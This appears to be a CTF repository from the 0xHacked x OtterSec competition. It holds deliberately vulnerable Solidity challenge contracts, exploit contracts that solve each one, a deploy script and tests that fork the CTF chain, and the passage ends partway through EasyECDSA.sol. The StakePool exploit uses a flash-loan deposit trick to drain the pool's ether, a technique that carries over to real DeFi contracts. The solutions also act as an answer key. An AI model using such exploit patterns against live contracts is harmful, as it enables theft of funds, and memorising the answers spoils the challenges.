├── .gitmodules ├── foundry.toml ├── .gitignore ├── src ├── BabyOtter │ ├── BabyOtter.sol │ └── Exploit2.sol ├── ChildOtter │ ├── Exploit4.sol │ └── ChildOtter.sol ├── Demo │ ├── Exploit.sol │ └── Random.sol ├── EasyECDSA │ ├── Exploit5.sol │ └── EasyECDSA.sol ├── Factorial │ ├── Factorial.sol │ └── Exploit6.sol ├── AdultOtter │ ├── AdultOtter.sol │ └── Exploit1.sol ├── Bytedance │ ├── Bytedance.sol │ └── Exploit3.sol ├── StakePool │ ├── Exploit8.sol │ └── StakePool.sol └── Snakes │ └── Snakes.sol ├── .github └── workflows │ └── test.yml ├── README.md ├── script └── Deploy.s.sol └── test └── Exploit.t.sol /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = "src" 3 | out = "out" 4 | libs = ["lib"] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/*/31337/ 8 | /broadcast/**/dry-run/ 9 | 10 | # Docs 11 | docs/ 12 | 13 | # Dotenv file 14 | .env 15 | 16 | .DS_Store 17 | -------------------------------------------------------------------------------- /src/BabyOtter/BabyOtter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract BabyOtter { 5 | bool public solved = false; 6 | 7 | function solve(uint x) public { 8 | unchecked { 9 | assert(x * 0x1337 == 1); 10 | } 11 | solved = true; 12 | } 13 | } -------------------------------------------------------------------------------- /src/ChildOtter/Exploit4.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IT { 5 | function solve(uint x) external; 6 | } 7 | 8 | contract Exploit { 9 | 10 | function exploit() public { 11 | // write code here 12 | address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116; 13 | IT(target).solve(0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5); 14 | } 15 | } -------------------------------------------------------------------------------- /src/Demo/Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IRandom { 5 | function solve(uint256 guess) external; 6 | } 7 | 8 | contract Exploit { 9 | 10 | // construct() {} // construct not allowed 11 | 12 | function exploit() public { 13 | // write code here 14 | address target = 0xDA879713a32894B3a0Ce42c70Bcd4331e1652e54; 15 | IRandom(target).solve(4); 16 | } 17 | } -------------------------------------------------------------------------------- /src/ChildOtter/ChildOtter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract ChildOtter { 5 | mapping(uint => mapping(uint => uint)) val; 6 | bool public solved = false; 7 | 8 | function solve(uint x) public { 9 | uint target; 10 | 11 | val[0][0] = x; 12 | assembly { 13 | target := mload(32) 14 | } 15 | 16 | assert(target == x); 17 | solved = true; 18 | } 19 | } -------------------------------------------------------------------------------- /src/BabyOtter/Exploit2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | 5 | interface IT { 6 | function solve(uint x) external; 7 | } 8 | 9 | contract Exploit { 10 | 11 | function exploit() public { 12 | // write code here 13 | address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3; 14 | IT(target).solve(106517423012574869748253447278778772725360170890836257832597187972312850502279); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/EasyECDSA/Exploit5.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IT { 5 | function solve(uint256[2] calldata rs) external; 6 | } 7 | 8 | contract Exploit { 9 | 10 | function exploit() public { 11 | // write code here 12 | address target = 0xaf1c3f65ac4767cBFB3417A7a26d95cECcb96F37; 13 | uint256[2] memory rs = [uint256(4364159065564), uint256(3524506910688)]; 14 | IT(target).solve(rs); 15 | } 16 | } -------------------------------------------------------------------------------- /src/Demo/Random.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract Random { 5 | 6 | bool public solved = false; 7 | 8 | function _getRandomNumber() internal pure returns (uint256) { // chosen by fair dice roll. 9 | return 4; // guaranteed to be random. 10 | } 11 | 12 | function solve(uint256 guess) public { 13 | require(guess == _getRandomNumber()); 14 | solved = true; 15 | } 16 | } -------------------------------------------------------------------------------- /src/Factorial/Factorial.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract Factorial { 5 | bool public solved = false; 6 | 7 | function run(uint256 number) internal view returns (uint256) { 8 | uint256 res = 1; 9 | for (uint256 index = 0; index < number; index++) { 10 | (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("factorial(uint256)", number)); 11 | res = res * abi.decode(data, (uint256)); 12 | } 13 | return res; 14 | } 15 | 16 | function solve() public { 17 | require(run(5) == 120, "wrong"); 18 | solved = true; 19 | } 20 | } -------------------------------------------------------------------------------- /src/AdultOtter/AdultOtter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract AdultOtter { 5 | bool public solved = false; 6 | 7 | function pwn(uint[16] memory code) public { 8 | uint[16] memory a; 9 | uint[16] memory b; 10 | 11 | for (uint i = 0; i < 16; i++) { 12 | assert(1337 * i < code[i] && code[i] < 1337 * (i + 1)); 13 | } 14 | 15 | for (uint i = 0; i < 16; i++) { 16 | a[i] = i**i * code[i]; 17 | } 18 | 19 | for (uint i = 1; i < 16; i++) { 20 | b[i] = (2**255 + code[i] - 7 * a[i] + b[i-1]) % 2**64; 21 | } 22 | 23 | assert(b[15] == 0); 24 | solved = true; 25 | } 26 | } -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /src/Factorial/Exploit6.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IT { 5 | function solve() external; 6 | } 7 | 8 | contract Exploit { 9 | 10 | function test(uint256 x) internal view returns (bool) { 11 | uint32 size; 12 | uint256 gas = gasleft(); 13 | assembly { 14 | size := extcodesize(x) 15 | } 16 | return gas - gasleft() < 1000; 17 | } 18 | 19 | function factorial(uint256 n) public returns (uint256) { 20 | for (uint256 i = 0; i < n; i++) { 21 | if (!test(1200000 + i)) return i + 1; 22 | } 23 | } 24 | 25 | 26 | function exploit() public { 27 | // write code here 28 | address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB; 29 | IT(target).solve(); 30 | } 31 | } -------------------------------------------------------------------------------- /src/AdultOtter/Exploit1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IT { 5 | function pwn(uint[16] memory code) external; 6 | } 7 | 8 | contract Exploit { 9 | 10 | function exploit() public { 11 | // write code here 12 | address target = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B; 13 | uint[16] memory sol; 14 | sol[0] = 1; 15 | sol[1] = 2673; 16 | sol[2] = 2675; 17 | sol[3] = 4023; 18 | sol[4] = 5389; 19 | sol[5] = 7446; 20 | sol[6] = 9357; 21 | sol[7] = 9863; 22 | sol[8] = 11484; 23 | sol[9] = 12034; 24 | sol[10] = 13841; 25 | sol[11] = 15848; 26 | sol[12] = 16716; 27 | sol[13] = 17384; 28 | sol[14] = 19760; 29 | sol[15] = 20140; 30 | IT(target).pwn(sol); 31 | } 32 | } -------------------------------------------------------------------------------- /src/Bytedance/Bytedance.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | contract Deployer { 5 | constructor(bytes memory code) { 6 | assembly { 7 | return(add(code, 0x20), mload(code)) 8 | } 9 | } 10 | } 11 | 12 | contract Bytedance { 13 | bool public solved = false; 14 | address public target; 15 | 16 | function setup() public { 17 | target = msg.sender; 18 | uint256 size; 19 | assembly { 20 | size := extcodesize(sload(target.slot)) 21 | } 22 | require(size == 0); 23 | } 24 | 25 | function echo(bytes memory data) internal { 26 | bytes memory code; 27 | uint256 size; 28 | address t = target; 29 | assembly { 30 | size := extcodesize(t) 31 | code := mload(0x40) 32 | mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) 33 | mstore(code, size) 34 | extcodecopy(t, add(code, 0x20), 0, size) 35 | } 36 | code = abi.encodePacked(data, code); 37 | address new_target = address(new Deployer(code)); 38 | (, bytes memory result) = new_target.staticcall(""); 39 | require(keccak256(result) == keccak256(data), "wrong echo"); 40 | } 41 | 42 | function solve() public { 43 | echo("Hello Player"); 44 | echo("`*V"); 45 | solved = true; 46 | } 47 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## 0xHacked x OtterSec CTF 2 | 3 | We've prepared the test framework so that you can debug the challenge locally. 4 | 5 | ``` bash 6 | forge test -vv / forge test -vv --match-test [name] 7 | ``` 8 | 9 | For more details, please visit [Exploit.t.sol](https://github.com/0xHackedLabs/ctf/blob/main/test/Exploit.t.sol). 10 | 11 | ### how to generate the proof via [0xHacked Online Tool](https://www.0xhacked.com/tool) 12 | 13 | Take [Random](https://github.com/0xHackedLabs/ctf/tree/main/src/Demo) as an example. 14 | 15 | image 16 | 17 | After debugging the exploit.sol locally, open [0xHacked Online Tool](https://www.0xhacked.com/tool). 18 | 1. Switch Network to **CTF** 19 | 2. According to the [Random Challenge](https://ctf.0xhacked.com/challenges#Random-4), fill in the block number as 3, 20 | 3. Upload the exploit.sol 21 | 4. Click "Run", once you wait for a few minutes (usually it's up to 4 min), you will be able to download the proof below and submit it to [Random Challenge](https://ctf.0xhacked.com/challenges#Random-4). 22 | 23 | image 24 | 25 | # Acknowledgement 26 | 27 | Thanks for co-hosting with [OtterSec](https://osec.io). Also, thanks for [RISC Zero](https://www.risczero.com/)'s sponsorship and hardware support provided by Bonsai Network. 28 | -------------------------------------------------------------------------------- /src/Bytedance/Exploit3.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IT { 5 | function solve() external; 6 | } 7 | 8 | contract Deployer { 9 | bytes public deployBytecode; 10 | address public deployedAddr; 11 | 12 | function deploy(bytes memory code, address a1) public { 13 | deployBytecode = code; 14 | address a; 15 | bytes memory args = abi.encode(address(a1)); 16 | bytes memory dumperBytecode = abi.encodePacked(type(Dumper).creationCode, args); 17 | assembly { 18 | a := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453) 19 | } 20 | deployedAddr = a; 21 | } 22 | 23 | } 24 | 25 | interface ISetup { 26 | function setup() external; 27 | } 28 | 29 | contract Dumper { 30 | constructor(address a1) public { 31 | if (a1 != address(0)) { 32 | ISetup(a1).setup(); 33 | } 34 | Deployer dp = Deployer(msg.sender); 35 | bytes memory bytecode = dp.deployBytecode(); 36 | assembly { 37 | return(add(bytecode, 0x20), mload(bytecode)) 38 | } 39 | } 40 | } 41 | 42 | contract Exploit { 43 | 44 | function exploit() public { 45 | // write code here 46 | address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC; 47 | 48 | Deployer dp = new Deployer(); 49 | 50 | bytes memory c1 = 51 | hex"0000000000000048656c6c6f20506c61796572600052600c6014f30000000000000000000000005b62602a566000526003601df3"; 52 | 53 | dp.deploy(c1, target); 54 | 55 | IT(target).solve(); 56 | 57 | } 58 | } -------------------------------------------------------------------------------- /src/StakePool/Exploit8.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface IStakePoolFlashloanReceiver { 5 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable; 6 | } 7 | 8 | interface Pool { 9 | function flashloan(uint256 amount, bytes calldata data) external; 10 | function faucet() external; 11 | function solve() external; 12 | function deposit() external payable returns (uint256); 13 | function withdraw(uint256 shares) external returns (uint256); 14 | function balanceOf(address a) external returns (uint256); 15 | } 16 | 17 | 18 | contract Exploit is IStakePoolFlashloanReceiver{ 19 | address target; 20 | function exploit() public payable { 21 | // write code here 22 | 23 | target = 0x511978e46Fc117795431f7493fB5288592097C4A; 24 | Pool(target).faucet(); 25 | Pool(target).flashloan(2 ether, ""); 26 | uint256 balance = Pool(target).balanceOf(address(this)); 27 | Pool(target).withdraw(balance); 28 | 29 | Pool(target).flashloan(balance, ""); 30 | balance = Pool(target).balanceOf(address(this)); 31 | Pool(target).withdraw(balance); 32 | 33 | Pool(target).flashloan(2 ether, ""); 34 | balance = Pool(target).balanceOf(address(this)); 35 | Pool(target).withdraw(balance); 36 | 37 | Pool(target).flashloan(1 ether, ""); 38 | balance = Pool(target).balanceOf(address(this)); 39 | Pool(target).withdraw(balance); 40 | Pool(target).solve(); 41 | } 42 | 43 | receive() external payable {} 44 | 45 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable { 46 | Pool(target).deposit{value: msg.value + fee}(); 47 | } 48 | 49 | } -------------------------------------------------------------------------------- /script/Deploy.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Script, console2} from "forge-std/Script.sol"; 5 | import {Random} from "../src/Demo/Random.sol"; 6 | import {AdultOtter} from "../src/AdultOtter/AdultOtter.sol"; 7 | import {BabyOtter} from "../src/BabyOtter/BabyOtter.sol"; 8 | import {Bytedance} from "../src/Bytedance/Bytedance.sol"; 9 | import {EasyECDSA} from "../src/EasyECDSA/EasyECDSA.sol"; 10 | import {Factorial} from "../src/Factorial/Factorial.sol"; 11 | import {Snakes} from "../src/Snakes/Snakes.sol"; 12 | import {StakePool} from "../src/StakePool/StakePool.sol"; 13 | import {ChildOtter} from "../src/ChildOtter/ChildOtter.sol"; 14 | 15 | contract DeployScript is Script { 16 | function setUp() public {} 17 | 18 | function run() public { 19 | vm.startBroadcast(); 20 | 21 | Random ra = new Random(); 22 | console2.log("Deploy Random: %s", address(ra)); 23 | 24 | AdultOtter ao = new AdultOtter(); 25 | console2.log("Deploy AdultOtter: %s", address(ao)); 26 | 27 | BabyOtter bo = new BabyOtter(); 28 | 29 | console2.log("Deploy BabyOtter: %s", address(bo)); 30 | 31 | Bytedance bd = new Bytedance(); 32 | console2.log("Deploy Bytedance: %s", address(bd)); 33 | 34 | EasyECDSA ee = new EasyECDSA(); 35 | console2.log("Deploy EasyECDSA: %s", address(ee)); 36 | 37 | Factorial fa = new Factorial(); 38 | console2.log("Deploy Factorial: %s", address(fa)); 39 | 40 | Snakes sn = new Snakes(); 41 | console2.log("Deploy Snakes: %s", address(sn)); 42 | 43 | StakePool sp = (new StakePool){value: 5 ether}(); 44 | console2.log("Deploy StakePool: %s", address(sp)); 45 | 46 | ChildOtter co = new ChildOtter(); 47 | console2.log("Deploy ChildOtter: %s", address(co)); 48 | 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/StakePool/StakePool.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | pragma solidity ^0.8.13; 4 | 5 | interface IStakePoolFlashloanReceiver { 6 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable; 7 | } 8 | 9 | contract StakePool { 10 | bool public solved = false; 11 | uint256 public totalSupply; 12 | mapping(address => uint256) public balanceOf; 13 | bool public flag = false; 14 | 15 | constructor() payable { 16 | totalSupply = 5 ether; 17 | } 18 | 19 | function deposit() external payable returns (uint256) { 20 | uint256 amount = msg.value; 21 | uint256 bal = address(this).balance; 22 | uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal; 23 | 24 | totalSupply += shares; 25 | balanceOf[msg.sender] += shares; 26 | return shares; 27 | } 28 | 29 | function withdraw(uint256 shares) external returns (uint256) { 30 | uint256 bal = address(this).balance; 31 | uint256 amount = shares * bal / totalSupply; 32 | totalSupply -= shares; 33 | require(balanceOf[msg.sender] >= shares); 34 | balanceOf[msg.sender] -= shares; 35 | 36 | payable(msg.sender).transfer(amount); 37 | return amount; 38 | } 39 | 40 | function flashloan(uint256 amount, bytes calldata data) external { 41 | uint256 balBefore = address(this).balance; 42 | require(amount <= balBefore); 43 | uint256 feeAmount = amount * 5 / 10000; 44 | IStakePoolFlashloanReceiver(msg.sender).onStakPoolFlashloan{value: amount}(amount, feeAmount, data); 45 | 46 | uint256 balAfter = address(this).balance; 47 | 48 | require(balAfter >= feeAmount + balBefore, "failed"); 49 | } 50 | 51 | function faucet() public { 52 | require(!flag); 53 | flag = true; 54 | payable(msg.sender).transfer(0.001 ether); 55 | } 56 | 57 | function solve() public { 58 | require(address(this).balance < 1 ether); 59 | solved = true; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /test/Exploit.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Test, console2} from "forge-std/Test.sol"; 5 | import {Exploit as RandomExploit } from "../src/Demo/Exploit.sol"; 6 | import {Exploit as AoE} from "../src/AdultOtter/Exploit1.sol"; 7 | import {Exploit as BoE} from "../src/BabyOtter/Exploit2.sol"; 8 | import {Exploit as BdE} from "../src/Bytedance/Exploit3.sol"; 9 | import {Exploit as CoE} from "../src/ChildOtter/Exploit4.sol"; 10 | import {Exploit as EyE} from "../src/EasyECDSA/Exploit5.sol"; 11 | import {Exploit as FlE} from "../src/Factorial/Exploit6.sol"; 12 | import {Exploit as SnE} from "../src/Snakes/Exploit7.sol"; 13 | import {Exploit as SpE} from "../src/StakePool/Exploit8.sol"; 14 | import {StakePool} from "../src/StakePool/StakePool.sol"; 15 | 16 | 17 | interface IChallenge { 18 | function solved() external returns(bool); 19 | } 20 | 21 | 22 | contract ExploitTest is Test { 23 | 24 | function setUp() public { 25 | // fork the ctf chain 26 | vm.createSelectFork("http://18.207.142.64:38545", 3); 27 | } 28 | 29 | function test_random() public { 30 | address target = 0xDA879713a32894B3a0Ce42c70Bcd4331e1652e54; // the Random contract address 31 | 32 | // write the Exploit contract 33 | RandomExploit exp = new RandomExploit(); 34 | exp.exploit(); 35 | 36 | assertTrue(IChallenge(target).solved()); 37 | // then use https://www.0xhacked.com/tool or https://github.com/0xHackedLabs/zkProver to generate zkp 38 | } 39 | 40 | function test_adultotter() public { 41 | address target = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B; 42 | AoE exp = new AoE(); 43 | exp.exploit(); 44 | 45 | assertTrue(IChallenge(target).solved()); 46 | } 47 | 48 | function test_babyotter() public { 49 | address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3; 50 | 51 | BoE exp = new BoE(); 52 | exp.exploit(); 53 | assertTrue(IChallenge(target).solved()); 54 | } 55 | 56 | function test_bytedance() public { 57 | address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC; 58 | BdE exp = new BdE(); 59 | exp.exploit(); 60 | assertTrue(IChallenge(target).solved()); 61 | } 62 | 63 | function test_childotter() public { 64 | address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116; 65 | CoE exp = new CoE(); 66 | exp.exploit(); 67 | assertTrue(IChallenge(target).solved()); 68 | } 69 | 70 | function test_easyecdsa() public { 71 | address target = 0xaf1c3f65ac4767cBFB3417A7a26d95cECcb96F37; 72 | EyE exp = new EyE(); 73 | exp.exploit(); 74 | assertTrue(IChallenge(target).solved()); 75 | } 76 | 77 | function test_factorial() public { 78 | address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB; 79 | FlE exp = new FlE(); 80 | exp.exploit(); 81 | assertTrue(IChallenge(target).solved()); 82 | } 83 | 84 | function test_snakes() public { 85 | address target = 0x827bB86B1594C77C9Ef9c126Bf1b0D46DC81aEEA; 86 | SnE exp = new SnE(); 87 | exp.exploit(); 88 | assertTrue(IChallenge(target).solved()); 89 | } 90 | 91 | function test_stakepool() public { 92 | 93 | address target = 0x511978e46Fc117795431f7493fB5288592097C4A; 94 | SpE exp = new SpE(); 95 | exp.exploit(); 96 | assertTrue(IChallenge(target).solved()); 97 | } 98 | } 99 | -------------------------------------------------------------------------------- /src/Snakes/Snakes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | 3 | // we accidentally sent the version with testing 4 | // so you can call with an empty string of bytes to pass this challenge. 5 | 6 | pragma solidity ^0.8.13; 7 | 8 | contract Snakes { 9 | bool public solved = false; 10 | 11 | function solve(bytes memory code) public { 12 | bytes memory data = hex"6106c9610011610000396106c9610000f360003560e01c6002600c820660011b6106b101601e39600051565b636e6ecf9681186102b8576044361034176106ac5760043560040160208135116106ac57803560208160051b01808360403750505060405160208160051b018061046082604060045afa50505061053961088052611ca36108a05260496108c05260256108e0526104d2610900526110e1610920526000600f905b806109405261046051601f81116106ac576109405161094051600681069050600581116106ac5760051b610880015161094051188082028115838383041417156106ac579050905061094051600281018181106106ac579050600381169050600581116106ac5760051b61088001518082018281106106ac5790509050610940518082018281106106ac579050905061094051600f81018181106106ac579050610460518110156106ac5760051b6104800151188160051b610480015260018101610460525061094051601181018181106106ac579050610460518110156106ac5760051b610480015161094051610460518110156106ac5760051b6104800151186106ac576001018181186100955750506000600f905b806109405261094051601181018181106106ac579050610460518110156106ac5760051b610480015161094051610460518110156106ac5760051b6104800151186106ac576001018181186101ad575050601061046051106106ac57600f60051b6104800151601161046051106106ac57601060051b61048001518082028115838383041417156106ac57905090506106ac57670b6ec7305a30b207601061046051106106ac57600f60051b6104800151601161046051106106ac57601060051b61048001518082018281106106ac5790509050186106ac57601161046051106106ac57601060051b6104800151601061046051106106ac57600f60051b610480015111156106ac57005b63f5961b6e81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b639b30d82481186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63bc9568b181186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63a89ac83c81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b636672f65a81186104e957346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b63559b012681186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63819ae50981186105c757346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b6318a3fc4981186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b6386a2951f81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b346106ac57005b600080fd040b06a506a506a506a5055a047c06a50329039a001a0638841906c981181800a16576797065728300030a0015"; 13 | 14 | address addr; 15 | assembly { 16 | addr := create(0, add(data, 32), mload(data)) 17 | } 18 | 19 | (bool success,) = addr.call(code); 20 | assert(success); 21 | solved = true; 22 | } 23 | } -------------------------------------------------------------------------------- /src/EasyECDSA/EasyECDSA.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | 5 | contract EasyECDSA { 6 | // ref https://github.com/tdrerup/elliptic-curve-solidity/blob/master/contracts/curves/EllipticCurve.sol 7 | // Set parameters for curve. 8 | uint256 constant a = 0x0000000000000000000000000000000000000000000000000000000000000007; 9 | uint256 constant b = 0x0000000000000000000000000000000000000000000000000000000000000001; 10 | uint256 constant gx = 0x000000000000000000000000000000000000000000000000000000be1a72fd48; 11 | uint256 constant gy = 0x000000000000000000000000000000000000000000000000000001ada5aa1a14; 12 | uint256 constant p = 0x0000000000000000000000000000000000000000000000000000041b8788a965; 13 | uint256 constant n = 0x0000000000000000000000000000000000000000000000000000041b879f0093; 14 | 15 | uint256 constant lowSmax = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0; 16 | 17 | bool public solved = false; 18 | /** 19 | * @dev Inverse of u in the field of modulo m. 20 | */ 21 | 22 | function inverseMod(uint256 u, uint256 m) internal pure returns (uint256) { 23 | if (u == 0 || u == m || m == 0) { 24 | return 0; 25 | } 26 | if (u > m) { 27 | u = u % m; 28 | } 29 | 30 | int256 t1; 31 | int256 t2 = 1; 32 | uint256 r1 = m; 33 | uint256 r2 = u; 34 | uint256 q; 35 | 36 | while (r2 != 0) { 37 | q = r1 / r2; 38 | (t1, t2, r1, r2) = (t2, t1 - int256(q) * t2, r2, r1 - q * r2); 39 | } 40 | 41 | if (t1 < 0) { 42 | return (m - uint256(-t1)); 43 | } 44 | 45 | return uint256(t1); 46 | } 47 | 48 | /** 49 | * @dev Transform affine coordinates into projective coordinates. 50 | */ 51 | function toProjectivePoint(uint256 x0, uint256 y0) public pure returns (uint256[3] memory P) { 52 | P[2] = addmod(0, 1, p); 53 | P[0] = mulmod(x0, P[2], p); 54 | P[1] = mulmod(y0, P[2], p); 55 | } 56 | 57 | /** 58 | * @dev Add two points in affine coordinates and return projective point. 59 | */ 60 | function addAndReturnProjectivePoint(uint256 x1, uint256 y1, uint256 x2, uint256 y2) 61 | public 62 | pure 63 | returns (uint256[3] memory P) 64 | { 65 | uint256 x; 66 | uint256 y; 67 | (x, y) = add(x1, y1, x2, y2); 68 | P = toProjectivePoint(x, y); 69 | } 70 | 71 | /** 72 | * @dev Transform from projective to affine coordinates. 73 | */ 74 | function toAffinePoint(uint256 x0, uint256 y0, uint256 z0) public pure returns (uint256 x1, uint256 y1) { 75 | uint256 z0Inv; 76 | z0Inv = inverseMod(z0, p); 77 | x1 = mulmod(x0, z0Inv, p); 78 | y1 = mulmod(y0, z0Inv, p); 79 | } 80 | 81 | /** 82 | * @dev Return the zero curve in projective coordinates. 83 | */ 84 | function zeroProj() public pure returns (uint256 x, uint256 y, uint256 z) { 85 | return (0, 1, 0); 86 | } 87 | 88 | /** 89 | * @dev Return the zero curve in affine coordinates. 90 | */ 91 | function zeroAffine() public pure returns (uint256 x, uint256 y) { 92 | return (0, 0); 93 | } 94 | 95 | /** 96 | * @dev Check if the curve is the zero curve. 97 | */ 98 | function isZeroCurve(uint256 x0, uint256 y0) public pure returns (bool isZero) { 99 | if (x0 == 0 && y0 == 0) { 100 | return true; 101 | } 102 | return false; 103 | } 104 | 105 | /** 106 | * @dev Check if a point in affine coordinates is on the curve. 107 | */ 108 | function isOnCurve(uint256 x, uint256 y) public pure returns (bool) { 109 | if (0 == x || x == p || 0 == y || y == p) { 110 | return false; 111 | } 112 | 113 | uint256 LHS = mulmod(y, y, p); // y^2 114 | uint256 RHS = mulmod(mulmod(x, x, p), x, p); // x^3 115 | 116 | if (a != 0) { 117 | RHS = addmod(RHS, mulmod(x, a, p), p); // x^3 + a*x 118 | } 119 | if (b != 0) { 120 | RHS = addmod(RHS, b, p); // x^3 + a*x + b 121 | } 122 | 123 | return LHS == RHS; 124 | } 125 | 126 | /** 127 | * @dev Double an elliptic curve point in projective coordinates. See 128 | * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates 129 | */ 130 | function twiceProj(uint256 x0, uint256 y0, uint256 z0) public pure returns (uint256 x1, uint256 y1, uint256 z1) { 131 | uint256 t; 132 | uint256 u; 133 | uint256 v; 134 | uint256 w; 135 | 136 | if (isZeroCurve(x0, y0)) { 137 | return zeroProj(); 138 | } 139 | 140 | u = mulmod(y0, z0, p); 141 | u = mulmod(u, 2, p); 142 | 143 | v = mulmod(u, x0, p); 144 | v = mulmod(v, y0, p); 145 | v = mulmod(v, 2, p); 146 | 147 | x0 = mulmod(x0, x0, p); 148 | t = mulmod(x0, 3, p); 149 | 150 | z0 = mulmod(z0, z0, p); 151 | z0 = mulmod(z0, a, 